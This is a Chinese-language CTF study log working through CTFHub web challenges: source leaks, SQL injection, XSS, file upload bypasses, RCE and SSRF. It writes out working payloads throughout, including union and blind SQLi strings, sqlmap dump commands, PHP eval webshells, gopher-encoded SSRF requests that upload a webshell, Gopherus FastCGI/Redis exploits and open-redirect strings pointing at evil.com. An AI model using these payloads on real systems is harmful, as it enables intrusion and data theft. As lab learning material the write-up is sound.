ctfhub
CTFHub
1.CTFHub目录遍历
使用BP进行目录遍历,找到flag。

2.CTFHub备份文件下载
1)网站源码
题目给出了很多备份文件的可能的名字,一个个试不太现实,所以用御剑扫描端口,发现有www.zip的页面,访问得到备份文件,然后看到flag的txt文件中没有flag,先去备份文件中尝试访问,发现不行,然后去网页中访问,得到flag。


2)bak文件
bak文件第一个题给我们说了他是备份文件后缀名之一,题目又说flag在index.php中,所以访问index.php.bak得到备份文件,进而得到flag。

3)vim缓存
搜索vim缓存文件后缀名为.swp,然后直接访问index.php.swp,发现不行,然后继续搜索,得到.swp文件为隐藏文件,需要以.index.php.swp访问,然后得到备份文件,winhex打开得到flag。

4).DS_Store
题目提示.DS_Store即为隐藏文件清单,访问下载后用winhex打开,找到flag对应位置,看到上面一串字符,想到可能要访问,但是一开始没看出来中间的.txt后缀,导致试了好多次,看出来之后就成功访问得到flag。
(以为.tx是后缀也是无敌了)

3.CTFHubGit泄露
1)log
题目说明要用githack,先下git环境再下githack,电脑上下载出来的运行不了,去kali里面下,安装成功之后对网站.git目录进行源代码恢复,恢复成功后去学git怎么查看历史修改信息,发现是git log,然后发现添加和移除flag的操作,然后再学怎么查看修改的具体信息,发现可以用git diff显示两次提交之间的差异,然后得到flag。



2)stash
前面是跟第一个log题几乎一样的步骤,不过要用git stash list来查看用stash保存的信息,然后再要git stash apply获取保存信息,就得到flag了。

3)index
这个题直接githack源代码修复就出来了。
怎么比前面还简单,是我阴差阳错做出来的?

4.CTFHubSVN泄露
先用disearch扫描确定是否有SVN泄露,找到之后dvcs-ripper把SVN文件下载下来,然后打开.svn文件夹,发现有很多文件夹,所以用tree命令来查找那个文件夹有文件,然后去pristine文件夹cat文件,一个个访问后在75文件夹下的文件里面有flag。




sql注入
1)整数型注入和字符型注入
这两个的区别可以用?id=1asd来判断,正常回显为字符,错误回显为整数。整数型不需要 ‘ 闭合,字符型需要 ’ 闭合。
其余的过程基本相似
第0步:确定有没有sql注入的漏洞,可以通过下面get判断。
?id=1’ and 1=1 –+
?id=1’ and 1=2 –+
如果第一个正常回显,第二个不正常回显,则存在sql注入漏洞。
第一步:确定有几个字段(从大到小用二分法效率更高)
?id=1’ order by 1 –+
?id=1’ order by 2 –+
……..
?id=1’ order by n –+
直到错误回显为止。
第二步:判断回显位
?id=-1’ union select 1,2,….,r –+
第三步:查看数据库名,将回显位改为database()
?id=-1’ union select 1,database(),……,r –+
第四步:查找数据库中的表名
?id=-1’ union select 1,(select table_name from information_schema.tables where database=’数据库名’),…,r –+
第五步:查找表中的列名
?id=-1’ union select 1,(select column_name from information_schema.columns where database=’数据库名’ and table=’表名’),…,r –+
第六步:查找表中的数据(脱库)
?id=-1’ union select 1,(select 列名 from 表名),…,r –+
2)报错注入
原理是利用报错回显进行查询注入,利用updatexml和extractvalue进行查询,同时把0x7e(~)和注入语句加入查询命令的参数中。
?id=-1’ and updatexml(1,concat(0x7e,(注入命令),0x7e),3) –+
?id=-1’ and extractvalue(1,concat(0x7e,(注入命令),0x7e)) –+
注入命令同第一类。
但是由于报错回显有字数限制,所以可以用substr进行字符串截断来进行分段输出。
?id=-1’ and updatexml(1,concat(0x7e,substr((注入命令),1,31),0x7e),3) –+
?id=-1’ and extractvalue(1,concat(0x7e,substr((注入命令),32,31),0x7e)) –+
3)布尔盲注和延时盲注
在注入时回显只有正确和错误的布尔盲注,或者根本没有回显的延时盲注情况下,利用if(判断命令,sleep(x),1)函数将延时盲注转换为布尔盲注,再利用length和count方便判断长度和数量,用ascii(substr(注入命令,n,1))一个一个的判断字符来获取数据。
?id=1’ and length(select database())=4 # (也可以用>和<二分来加速判断)
?id=1’ and ascii(substr((select database()),1,1))=107 # (一个一个字符的判断)
?id=1’ and length((select table_name from information_schema.tables where table_schema=’数据库名’ limit n,1))=4 # (改变n来一个个判断表名长度)
?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=’数据库名’ limit n,1)),1,1))=107 # (一个个判断表名的字符)
?id=1’ and length((select column_name from information_schema.columns where table_schema=’库名’ and table_name=’表名’ limit n,1))=4 # (改变n来一个个判断列名长度)
?id=1’ and ascii(substr((select column_name from information_schema.columns where table_schema=’库名’ and table_name=’表名’ limit n,1),1,1))==107 # (一个个判断列名的字符)
?id=1’ and length((select 列名 from 表名 limit n,1))=4 #(改变n来一个个判断数据长度)
?id=1’ and ascii(substr((select 列名 from 表名 limit 0,1),1,1))=107 #(一个个判断数据的字符)
由此可见工程量非常非常大,即使利用BP进行字符判断,也非常复杂,所以直接用sqlmap做了。
4)cookie注入,UA注入,refer注入
都是改了注入点,用hackbar或者BP都可以很简单的做出来,方法和第一种类似,就不赘述了
5)sql结构
同第一类。
6)空格过滤
用/**/代替即可,/*str*/为sql中的注释,注入后就变成空格了
7)mysql在联合查询不存在的数据时,会自动构建虚拟数据 ([GXYCTF2019]BabySQli)
利用mysql在联合查询不存在的数据时,会自动构建虚拟数据的特性
比如我们使用:
select * from user where username = ‘wxs’ union select 1,’admin’,’123456’;
原本库里没有123456,但mysql自动给我们加上了,相当于我们临时创建了一个admin用户,密码是123456。
但是一般密码位都有md5加密,所以将密码位md5加密后再注入。
所以我们假设密码是123456,其md5值为:e10adc3949ba59abbe56e057f20f883e
name=1’ union select 1,’admin’,’e10adc3949ba59abbe56e057f20f883e’#&pw=123456
这样在验证后面的pw(password)=123456时便可以通过我们建立的临时密码绕过
利用构造一个虚拟身份来进行伪造真实身份,从而绕过审核机制。
sqlmap非常好用
sqlmap -u “http://“ –dbs #爆出所有的数据库
sqlmap -u “http://“ –tables #爆出所有的数据表
sqlmap -u “http://“ –columns #爆出数据库中所有的列
sqlmap -u “http://“ –current-db #查看当前的数据库
sqlmap -u “http://“ -D security –tables #爆出数据库security中的所有的表
sqlmap -u “http://“ -D security -T users –columns #爆出security数据库中users表中的所有的列
sqlmap -u “http://“ -D security -T users -C username –dump #爆出数据库security中的users表中的username列中的所有数据
XSS
XSS在ctf中一般体现为在网站中内置一个机器人,然后将flag藏在它的cookie中,以体现真实情况盗取他人高权限cookie进行操作的漏洞。我们的目的一般便是想办法让机器人访问我们制作的网站,从而获取它的cookie。
1)反射型和存储型
反射型即网页直接将输入的内容输出出来,不储存在数据库中.存储型则将我们输入的内容储存在数据库中,危害更大.
《script》alert(1)《/script》 由于网站的<和>闭合会让命令消失,所以用《》替代。
利用alert弹窗验证是否有XSS漏洞
验证成功之后就可以去找XSS数据接收平台如蓝莲花等进行cookie捕获。
2)dom反射
dom反射需要我们想办法把输入的命令从一个注释转换为一个注释加一个命令,思路就是提前用';《/script》闭合,然后再输入我们的命令。
';《/script》《script》alert(1)《/script》
利用alert弹窗验证是否有XSS漏洞
验证成功之后就可以去找XSS数据接收平台如蓝莲花等进行cookie捕获。

3)空格过滤和关键词过滤
空格过滤直接用%20替代,关键词过滤先判断过滤了哪个关键词,输入《script》alert(1)《/script》 后回显为<>alert(1),说明script被过滤,直接大小写绕过,用Script代替script即可

4)dom跳转
?jumpto=javascript:$.getScript("网址"),浏览器会将其解释为一种特殊的URL方案,即 “javascript:”。在这种情况下,浏览器会将后面的 JavaScript 代码作为URL的一部分进行解析,然后执行它.

文件上传
1)无验证
网站上传的文件如果能按php文件访问后执行,便可以通过上传一句话木马``的php文件,并通过蚁剑连接进行控制,在目录中找到flag,模拟实战中在对方网站中盗取数据的操作。
所以直接新建一个.php文件,然后记事本打开,输入一句话木马,然后上传,蚁剑连接即可。
2)前端验证
前端验证可以按F12打开调试面板,选择网络,然后上传图片文件和非图片文件,然后对这两个文件的变化进行对比,如果网络中没有数据变化,说明存在js前端验证漏洞,如果有变化说明不存在。(有变化说明,前端没有做验证,是把文件传输到后台,在后台进行验证的,所以才会有网络请求。)
因为是在前端进行验证,所以直接BP拦截进行修改,先将上传的文件后缀名改为白名单中的后缀名,再在抓包后改回.php,蚁剑连接即可。

3).htaccess
.htaccess文件是apache的分布式配置文件。他负责相关目录下的网页配置,通过.htaccess可以帮我们实现。必须以ASCII模式上传,并且给其可读性。
.htaccess可以帮我们实现:
网页301重定向
自定义404错误页面
改变文件扩展名(使用该功能进行文件上传绕过验证)
允许/阻止特定的用户或者目录的访问
禁止目录列表
封禁特定IP地址的用户
只允许特定IP地址的用户
以及使用其他文件作为index文件配置默认文档等功能。
AddType application/x-httpd-php .xxx 功能为将.xxx(如.png等)后缀的文件按.php文件执行
将这段代码写入本地新建的.htaccess文件,并进行上传,这时上传.xxx的一句话木马文件再用蚁剑连接即可
4)MIME绕过
MIME (Multipurpose Internet Mail Extensions) 是描述消息内容类型的因特网标准。MIME消息能包含文本、图像、音频、视频以及其他应用程序专用的数据。在HTTP协议中,使用Content-Type字段表示文件的MIME类型。
所以直接BP拦截,修改Content-Type字段为image/jpeg等网站白名单类型,上传.php类型的一句话木马,蚁剑连接即可。
5)文件头检查
因为检验的是文件头,所以找一个现成的图片文件,将文件用记事本编辑,在最后写上一句话木马,上传时用BP拦截,修改文件后缀名为.php即可蚁剑访问。
6)00截断
00即ascii码中的null,在读取文件名时遇见null会判断为文件名结束,所以可以用00截断文件名,构造.php%00.png的文件名(%00在url编码中为null),因为在上传后网址后多了一段?xxx=…/upload,所以可以上传文件时在BP中拦截,并在这段多出来的语句后面接上.php%00.png,通过url编码进行00截断,再蚁剑连接即可。
7)双写截断
试着上传了.php文件后发现变成了.,说明php被删掉了,所以双写后缀名,让后缀名在被删掉一个php后还能是php,即.pphphp即可,再蚁剑连接即可。

8).user.ini ([SUCTF 2019]CheckIn)
.xxxx.ini 文件是配置当前目录以及当前子目录的规则配置的文件,文件的中的配置会覆盖掉当前php.ini中的规则,是当前用户的配置文件,利用 .user.ini 的前提是服务器开启了 CGI 或者 FastCGI,并且上传文件的存储路径下有 index.php 等可执行文件)。
上传 .user.ini 文件内容
二选一 就可以
auto_prepend_file=文件名 在页面顶部预加载文件
auto_append_file=文件名 在页面的底部预加载文件
这两个配置的意思就是:我们指定一个文件(如 1.jpg),那么该文件就会被包含在要执行的 PHP 文件中(如 index.php),相当于在 index.php 中插入一句:require(./1.jpg);。
蚁剑连接时不再是访问图片路径而是对应的php文件路径
ctfhub_RCE
1)eval执行
eval会将参数执行
常见的命令
(1)windows
1.type 显示文本文件内容
type x:\1.txt //显示x盘下的1.txt文件内容
type x:\1.txt | more //分页显示x盘里1.txt的内容
more 1.txt //逐屏显示当目下1.txt的文本内容(空格:下一屏 q:退出)
2.dir 显示目录里的内容
dir //显示当前目录里的子文件夹和文件
dir /b //只显示当前目录子文件夹、文件的文件名
dir /p //分页显示当前目录子文件夹、文件
dir /ad //只显示当前目录中的文件夹
dir /a-d //显示当目里的文件
dir x:/a //显示x盘下a文件夹中的内容
dir 1.txt //显示当目下1.txt的信息
dir /s //递归显示当目中的内容 ctrl c终止当前命令
dir a* //显示当目下a开头的文件、文件夹信息
dir /ah /os //显示当目下隐藏的文件和目录,按文件大小从小到大排序
(2)Linux
1、ls:列出目录
2、pwd:显示当前所在的目录
3、cat:由第一行开始查看文件
4、tac:由最后一行到第一行查看
5、more:逐项查看文件,按空格继续,最后自己退出
6、less:逐行查看文件,按方向键,不可主动退出,按q退出
7、head:只查看文件前十行
8、tail:只查看文件后十行
同时参数要以system(‘命令’);的形式传入,这样才能执行命令
这个题直接system(‘ls /‘);和system(‘cat /flag_5647’)就结束了
2)文件包含
代码中有一个shell.txt的超链接,访问进去发现有eval函数,但是我们无法直接向这个文件传入参数,所以要利用index.php中的include命令把这个shell.txt文件包含进来再进行传参。
所以直接?file=shell.txt&cmd=system(‘ls /‘);和?file=shell.txt&cmd=system(‘cat /flag’);就可以了。
3)php://input 远程包含 读取源代码
php://filter用于读取源码 php://input用于执行php代码
php://input需要post请求提交数据
php://filter可以get提交?a=php://filter/read=convert.base64-encode/resource=xxx.php
这三个前第一个用php://input,然后post传php的命令即《?php system(‘ls /‘);?》和《?php system(‘cat /flag_4627’);?》
第二个和第一个几乎一样,直接php://input然后《?php system(‘ls /‘);?》和《?php system(‘cat /flag’);?》
第三个直接说了flag在/flag里面,所以直接php://filter/read=convert.base64-encode/resource=/flag,再解码即可。
4)命令注入
常见的拼接符
1、A ; B 先执行A,再执行B
2、A & B 简单的拼接
3、A | B 显示B的执行结果
4、A&&B A执行成功之后才会执行B
5、A || B A执行失败之后才会执行B
, 在特殊情况下可代替空格
直接127.0.0.1;ls和127.0.0.1;cat 13902158133348.php即可(一定要记得随手查看网页源代码)
1.cat 被过滤,还可以用 more、less、head、tac、tail、nl、od、vi、vim 等方法进行绕过。
2.过滤空格可以用${IFS}等方式替代
3.过滤/,直接利用拼接命令的形式访问路径内的文件,就是先通过cd访问路径,再执行ls和cat的命令
4.过滤运算符,挑;&|剩下的用,如果都被过滤就使用%0a (换行符)%0d (回车符)(要在url中输入,不然无法被编码)
综合过滤
过滤了| & ; 空格 / cat flag ctfhub
运算符全军覆没,所以用%0a绕过
空格用${IFS}绕过
/用cd代替
cat用more等代替
flag是文件名和路径名的一部分,在访问时要避免出现,所以可以利用*自动补齐,比如cd flag_in_here就可以用cd *_in_here自动补齐,也可以用$*将flag断开,即fl$ag,原理为$ 在shell命令执行下为空
ctfhub没有出现。



ctfhubSSRF
1)内网访问
注意到url中有?url=,所以直接url=127.0.0.1/flag.php
2)伪协议读取文件
IIS服务器:默认的Web主目录为C:\inetpub\wwwroot。
Apache服务器:默认的主目录是/var/www/html。
Nginx服务器:默认的主目录是/usr/share/nginx/html。
SSRF常用的伪协议
ftp:// 可用于网络端口扫描
sftp:// SSH文件传输协议或安全文件传输协议
ldap://轻量级目录访问协议
tftp:// 简单文件传输协议
gopher://分布式文档传递服务
ht tp://查看内网主机端口是否存在。
file://读取服务器本地文件,访问本地的静态资源,如file:///etc/passwd
dict://协议探测端口和服务指纹,攻击redis,写入定时任务,进行反弹shell gopher:发送POST或GET请求,用来攻击内网应用redis,mysql,fastCGI,smtp等,如 dict:///ip:6739/info:
利用file伪协议读取flag.php,url=file:///var/www/html/flag.php
3)端口扫描
用http协议判断内网主机端口是否存在。BP爆破端口8000-9000,用cpp的ofstream或者python生成字典。

4)POST请求
访问网站之后啥也没有,这种情况一般是要用扫描工具扫描一下,可以用御剑或者dirsearch扫一下(为什么我的总是扫不出来)
扫描之后得到flag.php和index.php,访问flag.php后发现要求本地访问,所以加上127.0.0.1访问发现有个输入框,但是提交不了,也没有POST请求,查看源代码后有个key,所以我们要构造POST请求,就要利用到Gopher协议,SSRF便是解决这种问题的漏洞,他的原理便是通过一个有SSRF漏洞的网站来间接发送请求,所以为了找到SSRF漏洞(就2个php文件的话大概率就是另外一个index.php了)的网站,我们用伪协议file来读取index.php和flag.php的源代码
index.php
《?php
if (!isset($_REQUEST['url'])){
header("Location: /?url=_");
exit;
}
// 初始化一个新的cURL会话,并将返回的会话句柄赋值给变量 $ch。
$ch = curl_init();
//使用 curl_setopt 函数设置cURL会话的选项。
//这里设置了URL选项 (CURLOPT_URL),它指定了要请求的URL。URL从 $_REQUEST['url'] 获取,这通常是一个GET或POST请求中提交的URL。
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
//设置是否应返回HTTP头部。这里设置为0,意味着不返回HTTP头部,只返回主体内容。
curl_setopt($ch, CURLOPT_HEADER, 0);
//这个选项指示cURL应遵循 "Location" 头部字段中的重定向。如果设置为1,cURL将自动遵循所有重定向。
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
//执行cURL会话。这实际上发送了HTTP请求。
curl_exec($ch);
//关闭cURL会话并释放所有相关资源。
curl_close($ch);
?》```
>flag.php
```《?php
error_reporting(0);
//$_SERVER["REMOTE_ADDR"] 是一个超全局变量,它存储了访问者的 IP 地址。
//检查访问者的 IP 地址是否不是 "127.0.0.1"。
//如果访问者的 IP 地址不是 "127.0.0.1",这行代码会输出 "Just View From 127.0.0.1"。
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
return;
}
//从环境变量 "CTFHUB" 中获取值,并将其存储在变量 $flag 中。环境变量是在操作系统级别设置的,并且可以通过 PHP 的 getenv 函数访问。
$flag=getenv("CTFHUB");
//将 $flag 的值传递给 PHP 的 md5 函数,该函数会返回 $flag 的 MD5 哈希值,并将结果存储在 $key 变量中。
$key = md5($flag);
//这行代码检查是否有一个名为 "key" 的 POST 参数,并且该参数的值是否与 $key 相等。
if (isset($_POST["key"]) && $_POST["key"] == $key) {
echo $flag;
exit;
}
?》```
>Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。但在WWW出现后,Gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它;
gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议
Gopher协议格式:
URL:gopher://《host》:《port》/《gopher-path》_后接TCP数据流
gopher的默认端口是70
如果发起post请求,回车换行需要使用%0d%0a,如果多个参数,参数之间的&也需要进行URL编码
### 因为index.php里面运用了curl(curl就是一个工具,用来做服务器之间数据、文件传输的工具),所以可以利用curl传url,再借助Gopher协议达到构造POST请求的效果,模版如下
>gopher://127.0.0.1:80/_ (注意_,因为gopher协议会自动吞掉这一个字符,所以要占位)
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded
key=xxx (注意回车表示结束)
### 注意在传Gopher协议时要进行二次url编码,原理为传入参数浏览器编码一次,curl编码一次。
### 注意替换回车换行为%0d%0a,因为在线网站一般按windows的回车符%0a而不是linux的%0d
[在线编码网站](https://www.iamwawa.cn/urldecode.html)
### 当然也可以当代码小子(快学python)
>import urllib.parse
payload =\
"""
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded
key=xxx
"""
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)
### 得到payload之后就可以去传入url的参数里面了
>http://challenge-54c4b21edd60659d.sandbox.ctfhub.com:10800/?url=gopher%3A//127.0.0.1%3A80/_%250D%250APOST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%252036%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250Akey%253Deee82ef2d9e96771cb72590528652e19%250D%250A

### 得到flag。
## 5)文件上传
### 有了上面那个题的经验这个就简单了,但是也有一些新知识能学到,就是前端修改网页源码创造提交按钮来产生请求,从而进行gopher协议的编写
### 首先还是空白页,虽然题目给了flag.php,但是还是惯例扫描一下

### 扫描到flag.php后访问,显示要从本地访问,所以加上127.0.0.1访问,看到一个提交框,但是还是没有提交按钮,不过有了上一个题的经验后便会通过gopher协议创造请求,但是请求模版怎么来呢,总不能打开个文件上传漏洞去修改吧,所以这里就可以利用前端修改网页源码创造提交按钮来产生请求的技巧生成网页请求,生成后先试试提交,然后显示要从本地访问,然后BP抓包,把host改为127.0.0.1,得到彩蛋(╬◣д◢),果然是不能直接访问,要通过gopher协议访问,不过我们已经得到请求包了,接下来就简单了,还是一样的gopher协议二次url编码(记得改host为127.0.0.1)

>gopher%3A//127.0.0.1%3A80/_%250D%250APOST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520343%250D%250ACache-Control%253A%2520max-age%253D0%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250AOrigin%253A%2520http%253A//challenge-d1dfc696193c2ba4.sandbox.ctfhub.com%253A10800%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D----WebKitFormBoundaryhKT4hW1u2SbuqsQm%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%2529%2520AppleWebKit/537.36%2520%2528KHTML%252C%2520like%2520Gecko%2529%2520Chrome/117.0.5938.63%2520Safari/537.36%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252Cimage/apng%252C%252A/%252A%253Bq%253D0.8%252Capplication/signed-exchange%253Bv%253Db3%253Bq%253D0.7%250D%250AReferer%253A%2520http%253A//challenge-d1dfc696193c2ba4.sandbox.ctfhub.com%253A10800/%253Furl%253D127.0.0.1/flag.php%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%252C%2520br%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.9%250D%250AConnection%253A%2520close%250D%250A%250D%250A------WebKitFormBoundaryhKT4hW1u2SbuqsQm%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%25221.php%2522%250D%250AContent-Type%253A%2520application/octet-stream%250D%250A%250D%250A%253Cscript%2520language%253D%2527php%2527%253E%2540eval%2528%2524_POST%255B%2527a%2527%255D%2529%253B%253C/script%253E%250D%250A------WebKitFormBoundaryhKT4hW1u2SbuqsQm%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250Asubmit%250D%250A------WebKitFormBoundaryhKT4hW1u2SbuqsQm--%250D%250A%250D%250A
### 然后上传即可

### 彩蛋++

## 6)FastCGI协议
### 利用PHP-FPM未授权访问漏洞拓展至任意代码执行,用Gopherus-master工具即可快捷方便的达到任意代码执行
>python2 gopherus.py --exploit fastcgi
>/var/www/html/index.php(网站中的.php文件)
>echo "PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOz8+" | base64 -d > shell.php(一句话木马)

### 将输出的gopher协议进行一次url编码,传入即可达到文件上传的效果,接下来蚁剑访问即可

## 7)Redis协议
### 跟上面类似,也是Gopherus-master工具
>python2 gopherus.py --exploit radis
>phpshell
>/var/www/html/
>《?php eval($_POST['cmd'])?》

### 将输出的gopher协议进行一次url编码,传入即可达到文件上传的效果,接下来蚁剑访问即可

## 8)URL Bypass
>单斜线"/"绕过
https://www.landgrey.me/redirect.php?url=/www.evil.com
缺少协议绕过
https://www.landgrey.me/redirect.php?url=//www.evil.com
多斜线"/"前缀绕过
https://www.landgrey.me/redirect.php?url=///www.evil.com
https://www.landgrey.me/redirect.php?url=www.evil.com
利用"@"符号绕过
https://www.landgrey.me/redirect.php?url=https://www.landgrey.me@www.evil.com
利用反斜线""绕过
https://www.landgrey.me/redirect.php?url=https://www.evil.com\www.landgrey.me
利用"#"符号绕过
https://www.landgrey.me/redirect.php?url=https://www.evil.com#www.landgrey.me
利用"?"号绕过
https://www.landgrey.me/redirect.php?url=https://www.evil.com?www.landgrey.me
利用"\"绕过
https://www.landgrey.me/redirect.php?url=https://www.evil.com\www.landgrey.me
利用"."绕过
https://www.landgrey.me/redirect.php?url=.evil (可能会跳转到www.landgrey.me.evil域名)
https://www.landgrey.me/redirect.php?url=.evil.com (可能会跳转到evil.com域名)
10.重复特殊字符绕过
https://www.landgrey.me/redirect.php?url=///www.evil.com//…
https://www.landgrey.me/redirect.php?url=www.evil.com//…
### 这里想在访问127.0.0.1/flag.php的同时保证url里面含有http://notfound.ctfhub.com,所以可以利用@绕过
## 9)数字IP Bypass
>数字地址计算方式1
可以是十六进制,八进制等。
115.239.210.26 >>> 16373751032
首先把这四段数字给分别转成16进制,结果:73 ef d2 1a
然后把 73efd21a 这十六进制一起转换成8进制
记得访问的时候加0表示使用八进制(可以是一个0也可以是多个0 跟XSS中多加几个0来绕过过滤一样),十六进制加0x。
访问:http://016373751032 ,即可访问到百度。
数字地址计算方式2
111.13.100.92 转成数字地址的方式为:111256256256 + 13256256+100256+92*1
这样得到:1863148636
这种数字地址不需要在前面加0,即访问:http://1863148636 即可访问到百度。
[数字地址计算链接](https://ip.911cha.com/)
>特殊字体绕过:
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com
①②⑦.⓿.⓿.① >>> 127.0.0.1
>特殊地址:
http://0/ # 0.0.0.0可以直接访问到本地
http://127。0。0。1 # 绕过后端正则规则
http://localhost/
### 这里dirsearch扫描到flag.php,直接计算绕过即可
## 10)302跳转 Bypass
### 直接http://localhost/就能访问,但这里应该不是考这个。
>短链接变换实现302跳转(但是由于跳转需要点一下确认,导致一直访问失败)
短链接变换通过检索短网址上的数据库链接,再跳转原(长)链接访问。
实际上这就是一种302
[短连接变换](https://www.985.so/)
### 可以利用短链接变换实现302跳转(但是由于跳转需要点一下确认,导致一直访问失败)
>开源泛域名服务xip.io
请求是http://www.127.0.0.1.xip.io 这个绕过是在SSRF场景中的绕过,比如SSRF你要读取内网地址,一般都做了限制,可以尝试用这方法进行绕过限制,从而访问到内网。
不过这里貌似不太行
## 11)DNS重绑定 Bypass
>当我们给出一个网址链接时,首先会使用服务器端的dns服务器进行dns解析,解析出ip后,再与黑名单比对,进行过滤或请求。
这里使用的原理是,让一个网址绑定两个ip,或者也可以理解为快速的更换绑定对象。
进行dns解析时会随机返回一个ip
通过这样的操作,我们就可以快速进行注入来达到目的
[绑定ip](https://lock.cmpxchg8b.com/rebinder.html)
### 利用一个域名对应2个ip进行多次尝试即可访问到flag
